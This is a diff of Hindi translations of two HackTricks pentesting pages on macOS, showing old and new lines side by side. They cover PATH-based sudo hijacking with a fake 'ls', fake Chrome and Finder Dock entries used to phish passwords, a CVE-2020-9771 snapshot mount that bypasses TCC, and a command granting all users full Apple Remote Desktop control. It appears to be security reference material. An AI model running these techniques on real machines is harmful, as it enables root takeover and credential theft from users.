# macOS विशेषाधिकार उन्नयन
# macOS Privilege Escalation
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## TCC विशेषाधिकार उन्नयन
## TCC Privilege Escalation
यदि आप TCC विशेषाधिकार उन्नयन के लिए यहाँ आए हैं तो जाएं:
यदि आप यहाँ TCC विशेषाधिकार वृद्धि के लिए आए हैं तो जाएँ:
{% content-ref url="macos-security-protections/macos-tcc/" %}
[macos-tcc](macos-security-protections/macos-tcc/)
@ -24,19 +25,19 @@ HackTricks का समर्थन करने के अन्य तरी
## Linux Privesc
कृपया ध्यान दें कि **अधिकांश ट्रिक्स जो लिनक्स/यूनिक्स पर विशेषाधिकार उन्नयन प्रभावित करती हैं, वे भी मैकओएस मशीनों पर प्रभावित होंगी**। इसलिए देखें:
कृपया ध्यान दें कि **विशेषाधिकार वृद्धि के बारे में अधिकांश तरकीबें जो Linux/Unix को प्रभावित करती हैं, वे MacOS** मशीनों को भी प्रभावित करेंगी। तो देखें:
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation](../../linux-hardening/privilege-escalation/)
{% endcontent-ref %}
## उपयोगकर्ता इंटरेक्शन
## User Interaction
### सुडो हाइजैकिंग
### Sudo Hijacking
आप [लिनक्स विशेषाधिकार उन्नयन पोस्ट के अंदर मौजूद सुडो हाइजैकिंग तकनीक](../../linux-hardening/privilege-escalation/#sudo-hijacking) को ओरिजिनल रूप में पा सकते हैं।
आप मूल [Sudo Hijacking तकनीक को Linux Privilege Escalation पोस्ट के अंदर पा सकते हैं](../../linux-hardening/privilege-escalation/#sudo-hijacking).
हालांकि, macOS **सुडो** चलाते समय उपयोगकर्ता का **`PATH`** बनाए रखता है। इसका मतलब है कि इस हमले को प्राप्त करने का एक और तरीका हो सकता है, जो है:
हालांकि, macOS **उपयोगकर्ता का** **`PATH`** बनाए रखता है जब वह **`sudo`** निष्पादित करता है। जिसका अर्थ है कि इस हमले को प्राप्त करने का एक और तरीका होगा **अन्य बाइनरीज़ को हाईजैक करना** जिन्हें पीड़ित **sudo चलाते समय** निष्पादित करेगा:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
@ -51,17 +52,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
**ध्यान दें कि एक उपयोगकर्ता जो टर्मिनल का उपयोग करता है उसमें अधिक संभावना से Homebrew स्थापित होगा। इसलिए **`/opt/homebrew/bin`** में बाइनरी को हाइजैक करना संभव है।**
ध्यान दें कि एक उपयोगकर्ता जो टर्मिनल का उपयोग करता है, उसके पास **Homebrew स्थापित** होने की उच्च संभावना है। इसलिए **`/opt/homebrew/bin`** में बाइनरीज़ को हाईजैक करना संभव है।
### डॉक अनुरूप
### डॉक अनुरण
कुछ **सामाजिक इंजीनियरिंग** का उपयोग करके आप **डॉक के अंदर Google Chrome का अनुकरण** कर सकते हैं और वास्तव में अपने स्क्रिप्ट को चला सकते हैं:
कुछ **सोशल इंजीनियरिंग** का उपयोग करके आप डॉक के अंदर **उदाहरण के लिए Google Chrome** का **अनुकरण** कर सकते हैं और वास्तव में अपना खुद का स्क्रिप्ट चला सकते हैं:
{% tabs %}
{% tab title="Chrome अनुकरण" %}
{% tab title="Chrome Impersonation" %}
कुछ सुझाव:
* डॉक में जांचें कि क्या एक Chrome है, और उस मामले में **उस प्रविष्टि को हटाएं** और **डॉक अर्रेय में नकली Chrome प्रविष्टि जोड़ें**
* डॉक में जांचें कि क्या वहां एक Chrome है, और इस मामले में उस प्रविष्टि को **हटाएं** और डॉक एरे में **समान स्थिति** में **नकली** **Chrome प्रविष्टि जोड़ें**&#x20;
```bash
#!/bin/sh
@ -133,15 +134,14 @@ killall Dock
```
{% endtab %}
{% tab title = "फाइंडर अनुरूपण" %}
{% tab title="Finder Impersonation" %}
कुछ सुझाव:
* आप **डॉक से फाइंडर को हटा नहीं सकते**, इसलिए अगर आप इसे डॉक में जोड़ने जा रहे हैं, तो आप फर्जी फाइंडर को वास्तविक फाइंडर के साथ सीधे रख सकते हैं। इसके लिए आपको **डॉक एरे की शुरुआत में फर्जी फाइंडर एंट्री जोड़नी होगी**
* एक और विकल्प है कि इसे डॉक में न रखें और सीधे खोलें, "फाइंडर फाइंडर को नियंत्रित करने के लिए पूछ रहा है" इतना अजीब नहीं है।
* बिना पासवर्ड पूछे **रूट तक उन्नति करने** के लिए एक भयानक बॉक्स के साथ, फाइंडर से वास्तव में पासवर्ड पूछने के लिए एक विशेष कार्रवाई करने के लिए:
* फाइंडर से **`/etc/pam.d`** में एक नया **`sudo`** फ़ाइल कॉपी करने के लिए कहें (पासवर्ड के लिए पूछने वाला प्रॉम्प्ट इसका संकेत करेगा कि "फाइंडर कॉपी करना चाहता है")
* फाइंडर से एक नया **अधिकारीकरण प्लगइन** कॉपी करने के लिए कहें (आप फ़ाइल नाम को नियंत्रित कर सकते हैं ताकि पासवर्ड के लिए पूछने वाला प्रॉम्प्ट इसका संकेत करेगा कि "फाइंडर फाइंडर.bundle कॉपी करना चाहता है")
{% endtab %}
* आप **Dock से Finder को हटा नहीं सकते**, इसलिए यदि आप इसे Dock में जोड़ने जा रहे हैं, तो आप असली Finder के ठीक बगल में नकली Finder रख सकते हैं। इसके लिए आपको **Dock array में नकली Finder प्रविष्टि को शुरुआत में जोड़ना होगा**
* एक और विकल्प है कि इसे Dock में न रखें और बस इसे खोलें, "Finder को Finder को नियंत्रित करने के लिए पूछना" इतना अजीब नहीं है।
* एक और विकल्प **बिना पासवर्ड पूछे रूट तक पहुंच बढ़ाने** का है, वह है Finder से वास्तव में पासवर्ड मांगना ताकि एक विशेष क्रिया करने के लिए:
* Finder से **`/etc/pam.d`** में एक नया **`sudo`** फ़ाइल कॉपी करने के लिए कहें (पासवर्ड मांगने वाला प्रॉम्प्ट यह संकेत देगा कि "Finder sudo को कॉपी करना चाहता है")
* Finder से एक नया **Authorization Plugin** कॉपी करने के लिए कहें (आप फ़ाइल का नाम नियंत्रित कर सकते हैं ताकि पासवर्ड मांगने वाला प्रॉम्प्ट यह संकेत दे कि "Finder Finder.bundle को कॉपी करना चाहता है")
```bash
#!/bin/sh
@ -211,12 +211,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
## TCC - रूट प्रिविलेज एस्केलेशन
{% endtab %}
{% endtabs %}
### CVE-2020-9771 - mount_apfs TCC बायपास और प्रिविलेज एस्केलेशन
## TCC - रूट विशेषाधिकार वृद्धि
**कोई भी उपयोगकर्ता** (यहाँ तक कि अन-प्रिविलेज्ड भी) एक टाइम मशीन स्नैपशॉट बना सकता है और माउंट कर सकता है और उस स्नैपशॉट के **सभी फ़ाइलों तक पहुँच सकता है**।\
एप्लिकेशन को (जैसे `Terminal`) को **फुल डिस्क एक्सेस** (FDA) एक्सेस के लिए **केवल प्रिविलेज्ड** की आवश्यकता है (`kTCCServiceSystemPolicyAllfiles`) जो एडमिन द्वारा प्रदान की जानी चाहिए।
### CVE-2020-9771 - mount\_apfs TCC बाईपास और विशेषाधिकार वृद्धि
**कोई भी उपयोगकर्ता** (यहां तक कि बिना विशेषाधिकार वाले) एक टाइम मशीन स्नैपशॉट बना और माउंट कर सकता है और उस स्नैपशॉट के **सभी फ़ाइलों** तक पहुंच सकता है।\
आवश्यक **केवल विशेषाधिकार** यह है कि उपयोग किए जाने वाले एप्लिकेशन (जैसे `Terminal`) को **पूर्ण डिस्क एक्सेस** (FDA) एक्सेस (`kTCCServiceSystemPolicyAllfiles`) प्राप्त हो, जिसे एक व्यवस्थापक द्वारा प्रदान किया जाना चाहिए।
{% code overflow="wrap" %}
```bash
@ -240,26 +243,27 @@ ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
एक और विस्तृत व्याख्या [**मूल रिपोर्ट में पाई जा सकती है**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
एक अधिक विस्तृत व्याख्या [**मूल रिपोर्ट में**](https://theevilbit.github.io/posts/cve\_2020\_9771/) **मिल सकती है।**
## संवेदनशील जानकारी
यह विशेष जानकारी वर्चस्व उन्नति के लिए उपयोगी हो सकती है:
यह विशेषाधिकार बढ़ाने के लिए उपयोगी हो सकता है:
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएँ देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें**.**
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# macOS नेटवर्क सेवाएं और प्रोटोकॉल
# macOS नेटवर्क सेवाएँ और प्रोटोकॉल
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## रिमोट एक्सेस सेवाए
## रिमोट एक्सेस सेवाए
ये मैकओएस सेवाएं हैं जिन्हें दूरस्थ से एक्सेस किया जा सकता है।\
आप इन सेवाओं को `सिस्टम सेटिंग्स` --> `शेयरिंग` में सक्षम/अक्षम कर सकते हैं
ये सामान्य macOS सेवाएँ हैं जिनका आप दूरस्थ रूप से उपयोग कर सकते हैं।\
आप इन सेवाओं को `System Settings` --> `Sharing` में सक्षम/अक्षम कर सकते हैं
* **VNC**, जिसे "स्क्रीन शेयरिंग" कहा जाता है (tcp:5900)
* **SSH**, "रिमोट लॉगिन" के रूप में जाना जाता है (tcp:22)
* **Apple Remote Desktop** (ARD), या "रिमोट मैनेजमेंट" (tcp:3283, tcp:5900)
* **AppleEvent**, जिसे "रिमोट Apple इवेंट" कहा जाता है (tcp:3031)
* **VNC**, जिसे “स्क्रीन शेयरिंग” के रूप में जाना जाता है (tcp:5900)
* **SSH**, जिसे “रिमोट लॉगिन” कहा जाता है (tcp:22)
* **Apple Remote Desktop** (ARD), या “रिमोट प्रबंधन” (tcp:3283, tcp:5900)
* **AppleEvent**, जिसे “रिमोट Apple इवेंट” के रूप में जाना जाता है (tcp:3031)
किसी भी सेवा को सक्षम है या नहीं, यह देखने के लिए निम्नलिखित को चलाएं:
जांचें कि इनमें से कोई भी सक्षम है या नहीं:
```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -34,58 +35,62 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
```
### पेंटेस्टिंग ARD
### Pentesting ARD
एप्पल रिमोट डेस्कटॉप (ARD) वर्चुअल नेटवर्क कंप्यूटिंग (VNC) का एक एन्हांस्ड संस्करण है जो macOS के लिए तैयार किया गया है, जो अतिरिक्त विशेषताएं प्रदान करता है। ARD में एक प्रमुख दुर्बलता है इसका नियंत्रण स्क्रीन पासवर्ड के लिए प्रमाणीकरण विधि, जो केवल पासवर्ड के पहले 8 वर्णों का उपयोग करता है, जिससे यह [ब्रूट फोर्स हमलों](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) के लिए संवेदनशील है, जैसे कि हाइड्रा या [गोरेडशेल](https://github.com/ahhh/GoRedShell/) जैसे उपकरणों के साथ, क्योंकि कोई डिफ़ॉल्ट दर सीमाएं नहीं है
Apple Remote Desktop (ARD) macOS के लिए अनुकूलित [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) का एक उन्नत संस्करण है, जो अतिरिक्त सुविधाएँ प्रदान करता है। ARD में एक उल्लेखनीय सुरक्षा कमी इसका नियंत्रण स्क्रीन पासवर्ड के लिए प्रमाणीकरण विधि है, जो केवल पासवर्ड के पहले 8 अक्षरों का उपयोग करती है, जिससे यह [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) के लिए संवेदनशील हो जाती है, जैसे कि Hydra या [GoRedShell](https://github.com/ahhh/GoRedShell/) के साथ, क्योंकि कोई डिफ़ॉल्ट दर सीमा नहीं है।
विकल्पनीय उदाहरणों को **nmap** के `vnc-info` स्क्रिप्ट का उपयोग करके पहचाना जा सकता है। `VNC Authentication (2)` का समर्थन करने वाली सेवाएं विशेष रूप से 8 वर्णों के पासवर्ड के काटने के कारण ब्रूट फोर्स हमलों के लिए अत्यधिक संवेदनशील हैं।
संवेदनशील उदाहरणों की पहचान **nmap** के `vnc-info` स्क्रिप्ट का उपयोग करके की जा सकती है। `VNC Authentication (2)` का समर्थन करने वाली सेवाएँ विशेष रूप से 8-अक्षर पासवर्ड कटौती के कारण brute force हमलों के प्रति संवेदनशील होती हैं।
विभिन्न प्रशासनिक कार्यों जैसे विशेषाधिकार उन्नयन, GUI एक्सेस, या उपयोगकर्ता मॉनिटरिंग के लिए ARD को सक्षम करने के लिए निम्नलिखित कमांड का उपयोग करें:
प्रिविलेज वृद्धि, GUI एक्सेस, या उपयोगकर्ता निगरानी जैसे विभिन्न प्रशासनिक कार्यों के लिए ARD को सक्षम करने के लिए, निम्नलिखित कमांड का उपयोग करें:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
## बोनजोर प्रोटोकॉल
ARD विभिन्न नियंत्रण स्तर प्रदान करता है, जिसमें अवलोकन, साझा नियंत्रण और पूर्ण नियंत्रण शामिल हैं, और सत्र उपयोगकर्ता पासवर्ड परिवर्तन के बाद भी बने रहते हैं। यह सीधे Unix कमांड भेजने की अनुमति देता है, जिन्हें प्रशासनिक उपयोगकर्ताओं के लिए रूट के रूप में निष्पादित किया जाता है। कार्य अनुसूची और रिमोट स्पॉटलाइट खोज उल्लेखनीय विशेषताएँ हैं, जो कई मशीनों में संवेदनशील फ़ाइलों के लिए दूरस्थ, कम-प्रभाव वाली खोजों को सुविधाजनक बनाती हैं।
बोनजोर, एक Apple डिज़ाइन की तकनीक, **एक ही नेटवर्क पर डिवाइसेस को एक-दूसरे की पेशकश की गई सेवाओं का पता लगाने** की अनुमति देता है। जिसे Rendezvous, **जीरो कॉन्फ़िगरेशन**, या Zeroconf भी कहा जाता है, यह एक डिवाइस को एक TCP/IP नेटवर्क में शामिल होने की अनुमति देता है, **स्वचालित रूप से एक IP पता चुनने** और अपनी सेवाओं को अन्य नेटवर्क डिवाइसेस को प्रसारित करने की।
## Bonjour प्रोटोकॉल
जीरो कॉन्फ़िगरेशन नेटवर्किंग, जो बोनजोर द्वारा प्रदान की जाती है, सुनिश्चित करता है कि डिवाइसेस:
* **एक IP पता स्वचालित रूप से प्राप्त करें** भले ही एक DHCP सर्वर की अनुपस्थिति में।
* **नाम-से-पता अनुवाद** करें बिना DNS सर्वर की आवश्यकता के।
* नेटवर्क पर **उपलब्ध सेवाओं की खोज** करें।
Bonjour, एक Apple द्वारा डिज़ाइन की गई तकनीक, **एक ही नेटवर्क पर उपकरणों को एक-दूसरे की पेश की गई सेवाओं का पता लगाने** की अनुमति देती है। इसे Rendezvous, **Zero Configuration**, या Zeroconf के रूप में भी जाना जाता है, यह एक उपकरण को TCP/IP नेटवर्क में शामिल होने, **स्वचालित रूप से एक IP पता चुनने**, और अन्य नेटवर्क उपकरणों को अपनी सेवाएँ प्रसारित करने में सक्षम बनाता है।
Bonjour का उपयोग करने वाले डिवाइसेस खुद को **169.254/16 रेंज से एक IP पता सौंपेंगे** और नेटवर्क पर इसकी अद्वितीयता की जांच करेंगे। Macs इस सबनेट के लिए एक रूटिंग टेबल एंट्री बनाए रखते हैं, जिसे `netstat -rn | grep 169` के माध्यम से सत्यापित किया जा सकता है।
Zero Configuration Networking, जो Bonjour द्वारा प्रदान किया जाता है, सुनिश्चित करता है कि उपकरण:
* **DHCP सर्वर की अनुपस्थिति में भी स्वचालित रूप से एक IP पता प्राप्त करें।**
* **DNS सर्वर की आवश्यकता के बिना नाम-से-पता अनुवाद** कर सकें।
* नेटवर्क पर उपलब्ध **सेवाओं का पता लगाएँ।**
DNS के लिए, Bonjour मल्टीकास्ट DNS (mDNS) प्रोटोकॉल का उपयोग करता है। mDNS **पोर्ट 5353/UDP** पर कार्य करता है, **मानक DNS क्वेरी** का उपयोग करता है लेकिन **मल्टीकास्ट पता 224.0.0.251** को लक्ष्य बनाता है। यह दृष्टिकोण सुनिश्चित करता है कि नेटवर्क पर सभी सुनने वाले डिवाइसेस क्वेरी को प्राप्त करें और उसके जवाब दें, अपने रिकॉर्ड को अपडेट करने की सुविधा प्रदान करता है।
Bonjour का उपयोग करने वाले उपकरण **169.254/16 रेंज** से एक **IP पता असाइन करेंगे** और नेटवर्क पर इसकी विशिष्टता की पुष्टि करेंगे। Macs इस उपनेट के लिए एक रूटिंग टेबल प्रविष्टि बनाए रखते हैं, जिसे `netstat -rn | grep 169` के माध्यम से सत्यापित किया जा सकता है।
नेटवर्क में खोज की सुविधा को **DNS सेवा खोज (DNS-SD)** द्वारा सुविधाजनक बनाया गया है। DNS SRV रिकॉर्डों के प्रारूप का उपयोग करते हुए, DNS-SD **DNS PTR रिकॉर्ड** का उपयोग करता है एकाधिक सेवाओं की सूची बनाने के लिए। एक विशेष सेवा की खोज करने वाला ग्राहक `<सेवा>.<डोमेन>` के लिए एक PTR रिकॉर्ड का अनुरोध करेगा, और यदि सेवा कई होस्ट से उपलब्ध है तो `<इंस्टेंस>.<सेवा>.<डोमेन>` के प्रारूप में PTR रिकॉर्ड की सूची प्राप्त करेगा
DNS के लिए, Bonjour **Multicast DNS (mDNS) प्रोटोकॉल** का उपयोग करता है। mDNS **पोर्ट 5353/UDP** पर कार्य करता है, **मानक DNS प्रश्नों** का उपयोग करता है लेकिन **मल्टीकास्ट पते 224.0.0.251** को लक्षित करता है। यह दृष्टिकोण सुनिश्चित करता है कि नेटवर्क पर सभी सुनने वाले उपकरण प्रश्न प्राप्त कर सकें और उत्तर दे सकें, जिससे उनके रिकॉर्ड को अपडेट करने में मदद मिलती है
`dns-sd` यूटिलिटी का उपयोग **नेटवर्क सेवाओं की खोज और विज्ञापन** के लिए किया जा सकता है। यहाँ इसके उपयोग के कुछ उदाहरण हैं:
नेटवर्क में शामिल होने पर, प्रत्येक उपकरण एक नाम का स्व-चयन करता है, जो आमतौर पर **.local** में समाप्त होता है, जो होस्टनाम से व्युत्पन्न हो सकता है या यादृच्छिक रूप से उत्पन्न हो सकता है।
नेटवर्क के भीतर सेवा खोज को **DNS सेवा खोज (DNS-SD)** द्वारा सुविधाजनक बनाया जाता है। DNS SRV रिकॉर्ड के प्रारूप का लाभ उठाते हुए, DNS-SD **DNS PTR रिकॉर्ड** का उपयोग करके कई सेवाओं की सूची बनाने में सक्षम बनाता है। एक ग्राहक एक विशिष्ट सेवा की तलाश में `<Service>.<Domain>` के लिए एक PTR रिकॉर्ड का अनुरोध करेगा, यदि सेवा कई होस्टों से उपलब्ध है तो उसे `<Instance>.<Service>.<Domain>` के रूप में प्रारूपित PTR रिकॉर्ड की एक सूची प्राप्त होगी।
`dns-sd` उपयोगिता का उपयोग **नेटवर्क सेवाओं की खोज और विज्ञापन** के लिए किया जा सकता है। इसके उपयोग के कुछ उदाहरण इस प्रकार हैं:
### SSH सेवाओं की खोज
नेटवर्क पर SSH सेवाओं की खोज करने के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:
नेटवर्क पर SSH सेवाओं की खोज के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:
```bash
dns-sd -B _ssh._tcp
```
यह कमांड _ssh._tcp सेवाओं के लिए ब्राउज़िंग आरंभ करता है और समयचिह्न, फ्लैग, इंटरफेस, डोमेन, सेवा प्रकार, और इंस्टेंस नाम जैसी विवरण उत्पन्न करता है।
यह कमांड _ssh._tcp सेवाओं के लिए ब्राउज़िंग शुरू करता है और टाइमस्टैम्प, फ्लैग, इंटरफेस, डोमेन, सेवा प्रकार, और इंस्टेंस नाम जैसी जानकारी आउटपुट करता है।
### एक HTTP सेवा का विज्ञापन करना
### HTTP सेवा का विज्ञापन करना
एक HTTP सेवा का विज्ञापन करने के लिए, आप इस्तेमाल कर सकते हैं:
HTTP सेवा का विज्ञापन करने के लिए, आप उपयोग कर सकते हैं:
```bash
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
यह कमांड पोर्ट 80 पर "/index.html" पथ के साथ "Index" नामक एक HTTP सेवा को रजिस्टर करता है।
यह कमांड पोर्ट 80 पर `/index.html` के पथ के साथ "Index" नाम की एक HTTP सेवा को पंजीकृत करता है।
फिर नेटवर्क पर HTTP सेवाओं की खोज करने के लिए:
```bash
dns-sd -B _http._tcp
```
जब एक सेवा शुरू होती है, तो यह अपनी उपस्थिति को सभी उपनेट के उपकरणों को मल्टीकास्ट करके घोषित करती है। इन सेवाओं में रुचि रखने वाले उपकरण अनुरोध भेजने की आवश्यकता नहीं है, बल्कि इन घोषणाओं के लिए सिर्फ सुनते रहते हैं।
जब एक सेवा शुरू होती है, तो यह अपने अस्तित्व की घोषणा सभी उपकरणों को सबनेट पर मल्टीकास्ट करके करती है। इन सेवाओं में रुचि रखने वाले उपकरणों को अनुरोध भेजने की आवश्यकता नहीं होती है, बल्कि वे बस इन घोषणाओं को सुनते हैं।
एक और उपयोगकर्ता-मित्र सामग्री के लिए, **Discovery - DNS-SD Browser** ऐप जो Apple App Store पर उपलब्ध है, आपके स्थानीय नेटवर्क पर पेश की जाने वाली सेवाएं दृश्यात्मक रूप से प्रदर्शित कर सकता है।
एक अधिक उपयोगकर्ता-अनुकूल इंटरफ़ेस के लिए, **Discovery - DNS-SD Browser** ऐप जो Apple App Store पर उपलब्ध है, आपके स्थानीय नेटवर्क पर उपलब्ध सेवाओं को दृश्य रूप में प्रस्तुत कर सकता है।
वैकल्पिक रूप से, `python-zeroconf` पुस्तकालय का उपयोग करके सेवाओं को ब्राउज़ और खोजने के लिए कस्टम स्क्रिप्ट लिखा जा सकता है। [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) स्क्रिप्ट _http._tcp.local. सेवाओं के लिए एक सेवा ब्राउज़र बनाने का प्रदर्शन करता है, जो जोड़ी गई या हटाई गई सेवाएं प्रिंट करता है:
वैकल्पिक रूप से, कस्टम स्क्रिप्ट लिखी जा सकती हैं जो `python-zeroconf` लाइब्रेरी का उपयोग करके सेवाओं को ब्राउज़ और खोजने के लिए। [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) स्क्रिप्ट `_http._tcp.local.` सेवाओं के लिए एक सेवा ब्राउज़र बनाने का प्रदर्शन करती है, जो जोड़ी गई या हटाई गई सेवाओं को प्रिंट करती है:
```python
from zeroconf import ServiceBrowser, Zeroconf
